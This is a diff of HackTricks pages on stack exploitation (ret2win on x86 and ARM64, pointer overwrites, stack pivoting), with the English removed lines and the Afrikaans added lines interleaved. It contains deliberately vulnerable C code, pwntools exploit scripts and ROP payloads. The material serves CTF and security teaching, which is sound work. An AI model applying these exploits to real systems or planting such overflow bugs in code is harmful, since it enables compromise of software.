You can find an **example** of this in:
Jy kan 'n **voorbeeld** hiervan vind in:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts`
- 32bit, verander adres na vlae string in die stapel sodat dit deur `puts` gedruk word
## Function pointers
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
Dieselfde as string pointer, maar van toepassing op funksies; as die **stapel die adres van 'n funksie** bevat wat aangeroep gaan word, is dit moontlik om dit te **verander** (bv. om **`system`** aan te roep).
You can find an example in:
Jy kan 'n voorbeeld vind in:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
**Ret2win** uitdagings is 'n gewilde kategorie in **Capture The Flag (CTF)** kompetisies, veral in take wat **binarie uitbuiting** behels. Die doel is om 'n kwesbaarheid in 'n gegewe binêre te benut om 'n spesifieke, nie-aangeroep funksie binne die binêre uit te voer, wat dikwels iets soos `win`, `flag`, ens. genoem word. Hierdie funksie, wanneer dit uitgevoer word, druk gewoonlik 'n vlag of 'n suksesboodskap uit. Die uitdaging behels tipies die oorskrywing van die **terugadres** op die stapel om die uitvoeringsvloei na die gewenste funksie te lei. Hier is 'n meer gedetailleerde verduideliking met voorbeelde:
### C Example
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
### C Voorbeeld
Oorweeg 'n eenvoudige C-program met 'n kwesbaarheid en 'n `win` funksie wat ons van plan is om aan te roep:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
Om hierdie program te kompileer sonder stapelbeskerming en met **ASLR** gedeaktiveer, kan jy die volgende opdrag gebruik:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Compile die program as 'n 32-bit binêre (dit is opsioneel maar algemeen in CTF-uitdagings).
- `-fno-stack-protector`: Deaktiveer beskerming teen stapel oorloop.
- `-z execstack`: Laat uitvoering van kode op die stapel toe.
- `-no-pie`: Deaktiveer Posisie Onafhanklike Uitvoerbare om te verseker dat die adres van die `win` funksie nie verander nie.
- `-o vulnerable`: Noem die uitvoer lêer `vulnerable`.
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
### Python Exploit met Pwntools
Vir die exploit, sal ons **pwntools** gebruik, 'n kragtige CTF-raamwerk vir die skryf van exploits. Die exploit-skrip sal 'n payload skep om die buffer oor te loop en die terugkeeradres met die adres van die `win` funksie te oorskryf.
```python
from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
Om die adres van die `win` funksie te vind, kan jy **gdb**, **objdump**, of enige ander hulpmiddel gebruik wat jou toelaat om binêre lêers te ondersoek. Byvoorbeeld, met `objdump`, kan jy gebruik:
```sh
objdump -d vulnerable | grep win
```
Hierdie opdrag sal die assembly van die `win` funksie aan jou wys, insluitend sy beginadres.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20;
Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer dit deur die `vulnerable_function` verwerk word, die buffer oorloop en die terugkeeradres op die stapel met die adres van `win` oorskryf. Wanneer `vulnerable_function` terugkeer, in plaas daarvan om na `main` terug te keer of te verlaat, spring dit na `win`, en die boodskap word gedruk.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
## Beskermings
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **moet gedeaktiveer word** sodat die adres betroubaar is oor uitvoerings of die adres waar die funksie gestoor sal word nie altyd dieselfde sal wees nie en jy 'n lek nodig sal hê om uit te vind waar die win funksie gelaai is. In sommige gevalle, wanneer die funksie wat die oorloop veroorsaak `read` of soortgelyk is, kan jy 'n **Deeltelike Oorskrywing** van 1 of 2 bytes doen om die terugkeeradres na die win funksie te verander. Vanweë hoe ASLR werk, is die laaste drie hex nibble nie gerandomiseer nie, so daar is 'n **1/16 kans** (1 nibble) om die korrekte terugkeeradres te kry.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) moet ook gedeaktiveer word of die gecompromitteerde EIP terugkeeradres sal nooit gevolg word nie.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
## Ander voorbeelde & Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR
- 32bit, geen ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address
- 64 bits met ASLR, met 'n lek van die bin adres
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR
- 64 bits, geen ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- 32 bits, geen ASLR, dubbele klein oorloop, eerste om die stapel oor te loop en die grootte van die tweede oorloop te vergroot
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bit, relro, geen kanarie, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bit, nx, niks anders nie, gedeeltelike oorskrywing van EIP (1Byte) om die win funksie aan te roep
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bit, nx, niks anders nie, gedeeltelike oorskrywing van EIP (1Byte) om die win funksie aan te roep
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- Die program valideer slegs die laaste byte van 'n getal om die grootte van die invoer te kontroleer, daarom is dit moontlik om enige grootte by te voeg solank die laaste byte binne die toegelate reeks is. Dan, die invoer skep 'n buffer oorloop wat met 'n ret2win uitgebuit word.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- 64 bit, relro, geen kanarie, nx, pie. Gedeeltelike oorskrywing om die win funksie (ret2win) aan te roep
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- arm64, PIE, dit gee 'n PIE lek die win funksie is eintlik 2 funksies so ROP gadget wat 2 funksies aanroep
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function
- ARM64, off-by-one om 'n win funksie aan te roep
## ARM64 Example
## ARM64 Voorbeeld
{{#ref}}
ret2win-arm64.md

View File

@ -2,109 +2,94 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Vind 'n inleiding tot arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Compile sonder pie en canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Vind die offset
## Finding the offset
### Patroon opsie
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
Hierdie voorbeeld is geskep met behulp van [**GEF**](https://github.com/bata24/gef):
Stat gdb met gef, skep patroon en gebruik dit:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
arm64 sal probeer om terug te keer na die adres in die register x30 (wat gecompromitteer is), ons kan dit gebruik om die patroon offset te vind:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).**
**Die offset is 72 (9x48).**
### Stack offset option
Start by getting the stack address where the pc register is stored:
### Stapel offset opsie
Begin deur die stapeladres te kry waar die pc-register gestoor is:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
Stel nou 'n breekpunt in na die `read()` en gaan voort totdat die `read()` uitgevoer word en stel 'n patroon soos 13371337 in:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory:
Vind waar hierdie patroon in geheue gestoor is:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Dan: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## No PIE
## Geen PIE
### Regular
Get the address of the **`win`** function:
### Gereeld
Kry die adres van die **`win`** funksie:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Exploit:
Eksploiteer:
```python
from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
Werklik gaan dit meer soos 'n off-by-2 wees in die gestoor PC in die stapel. In plaas daarvan om al die terugkeeradresse te oorskryf, gaan ons **slegs die laaste 2 bytes** met `0x06c4` oorskryf.
```python
from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
Jy kan 'n ander off-by-one voorbeeld in ARM64 vind in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), wat 'n werklike off-by-**one** in 'n fiktiewe kwesbaarheid is.
## With PIE
## Met PIE
> [!TIP]
> Compile the binary **without the `-no-pie` argument**
> Compileer die binêre **sonder die `-no-pie` argument**
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
Sonder 'n leak weet ons nie die presiese adres van die wen-funksie nie, maar ons kan die offset van die funksie vanaf die binêre weet en, aangesien die terugadres wat ons oorskryf reeds na 'n naby adres wys, is dit moontlik om die offset na die wen-funksie (**0x7d4**) in hierdie geval te lek en net daardie offset te gebruik:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,65 +1,62 @@
# Stack Pivoting - EBP2Ret - EBP chaining
# Stap Pivotering - EBP2Ret - EBP ketting
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
As a reminder, **`leave`** basically means:
Hierdie tegniek benut die vermoë om die **Basis Wyser (EBP)** te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die EBP-register en die **`leave; ret`** instruksie volgorde.
Ter herinnering, **`leave`** beteken basies:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
En aangesien die **EBP in die stapel is** voor die EIP, is dit moontlik om dit te beheer deur die stapel te beheer.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
Hierdie tegniek is veral nuttig wanneer jy **die EBP-register kan verander, maar geen direkte manier het om die EIP-register te verander nie**. Dit benut die gedrag van funksies wanneer hulle klaar is met uitvoer.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
As jy, tydens die uitvoering van `fvuln`, daarin slaag om 'n **valse EBP** in die stapel in te spuit wat na 'n area in geheue wys waar jou shellcode se adres geleë is (plus 4 bytes om rekening te hou met die `pop` operasie), kan jy indirek die EIP beheer. Terwyl `fvuln` terugkeer, word die ESP op hierdie vervaardigde ligging gestel, en die daaropvolgende `pop` operasie verminder ESP met 4, **wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is.**\
Let daarop dat jy **2 adresse moet weet**: Die een waarheen ESP gaan, waar jy die adres moet skryf wat deur ESP aangedui word.
#### Exploit Construction
#### Exploit Konstruksie
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
Eerstens moet jy 'n **adres weet waar jy arbitrêre data / adresse kan skryf**. Die ESP sal hierheen wys en **die eerste `ret` uitvoer**.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
Dan moet jy die adres weet wat deur `ret` gebruik word wat **arbitrêre kode sal uitvoer**. Jy kan gebruik:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
- Some [**ROP**](../rop-return-oriented-programing/) chain
- 'n Geldige [**ONE_GADGET**](https://github.com/david942j/one_gadget) adres.
- Die adres van **`system()`** gevolg deur **4 rommel bytes** en die adres van `"/bin/sh"` (x86 bits).
- Die adres van 'n **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gevolg deur die **shellcode** om uit te voer.
- Sommige [**ROP**](../rop-return-oriented-programing/) ketting
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
Onthou dat daar voor enige van hierdie adresse in die beheerde deel van die geheue, **`4` bytes** moet wees as gevolg van die **`pop`** deel van die `leave` instruksie. Dit sal moontlik wees om hierdie 4B te misbruik om 'n **tweede valse EBP** in te stel en voort te gaan om die uitvoering te beheer.
#### Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
Daar is 'n spesifieke variant van hierdie tegniek bekend as 'n "Off-By-One Exploit". Dit word gebruik wanneer jy **slegs die minste betekenisvolle byte van die EBP kan verander**. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met die **`ret`** die eerste drie bytes met die EBP deel, wat 'n soortgelyke manipulasie met meer beperkte toestande moontlik maak.\
Gewoonlik word die byte 0x00 verander om so ver as moontlik te spring.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
Dit is ook algemeen om 'n RET sled in die stapel te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe ESP binne die RET SLED wys en die finale ROP-ketting uitgevoer word.
### **EBP Chaining**
### **EBP Ketting**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Daarom, deur 'n beheerde adres in die `EBP` invoer van die stapel te plaas en 'n adres na `leave; ret` in `EIP`, is dit moontlik om **die `ESP` na die beheerde `EBP` adres van die stapel te beweeg**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
Nou is die **`ESP`** beheerde wat na 'n gewenste adres wys en die volgende instruksie om uit te voer is 'n `RET`. Om dit te misbruik, is dit moontlik om in die beheerde ESP plek dit te plaas:
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
- **`system()`** -> Called by `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
- **`&("/bin/sh")`**-> Param fro `system`
- **`&(next fake EBP)`** -> Laai die nuwe EBP as gevolg van `pop ebp` van die `leave` instruksie
- **`system()`** -> Geroep deur `ret`
- **`&(leave;ret)`** -> Geroep nadat die stelsel eindig, dit sal ESP na die valse EBP beweeg en weer begin
- **`&("/bin/sh")`**-> Param vir `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
Basies is dit op hierdie manier moontlik om verskeie valse EBPs te ketting om die vloei van die program te beheer.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
Dit is soos 'n [ret2lib](../rop-return-oriented-programing/ret2lib/), maar meer kompleks sonder enige ooglopende voordeel, maar kan interessant wees in sommige randgevalle.
Boonop het jy hier 'n [**voorbeeld van 'n uitdaging**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek gebruik met 'n **stapel lek** om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy:
```python
from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP mag dalk nie gebruik word nie
## EBP might not be used
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
Soos [**in hierdie pos verduidelik**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), as 'n binêre met sekere optimaliseringe gecompileer word, **kry EBP nooit beheer oor ESP nie**, daarom sal enige ontploffing wat werk deur EBP te beheer basies misluk omdat dit nie 'n werklike effek het nie.\
Dit is omdat die **proloog en epiloog verander** as die binêre geoptimaliseer is.
- **Nie geoptimaliseer nie:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimized:**
- **Geoptimaliseer:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Other ways to control RSP
## Ander maniere om RSP te beheer
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
[**Op hierdie bladsy**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir hierdie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente aan te roep, en daar was 'n **`pop rsp` gadget** en daar is 'n **leak van die stapel**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Check the ret2esp technique here:
Kyk die ret2esp tegniek hier:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References & Other Examples
## Verwysings & Ander Voorbeelde
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- 64 bits, off by one uitbuiting met 'n rop ketting wat begin met 'n ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64 bit, geen relro, canary, nx en pie. Die program bied 'n leak vir stack of pie en 'n WWW van 'n qword. Kry eers die stack leak en gebruik die WWW om terug te gaan en die pie leak te kry. Gebruik dan die WWW om 'n ewige lus te skep wat `.fini_array` inskrywings misbruik + `__libc_csu_fini` aanroep ([meer inligting hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Deur hierdie "ewige" skrywe te misbruik, word 'n ROP ketting in die .bss geskryf en eindig op om dit te bel met RBP.
## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
In ARM64, die **proloog en epiloge** van die funksies **stoor en herwin nie die SP registrasie** in die stack nie. Boonop, die **`RET`** instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar **na die adres binne `x30`**.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
Daarom, standaard, deur net die epiloog te misbruik, **sal jy nie in staat wees om die SP registrasie te beheer** deur sommige data binne die stack te oorskryf nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om **die `x30`** registrasie te **beheer**.
- prologue
- proloog
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP wys na raamrekord
```
- epilogue
- epiloge
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
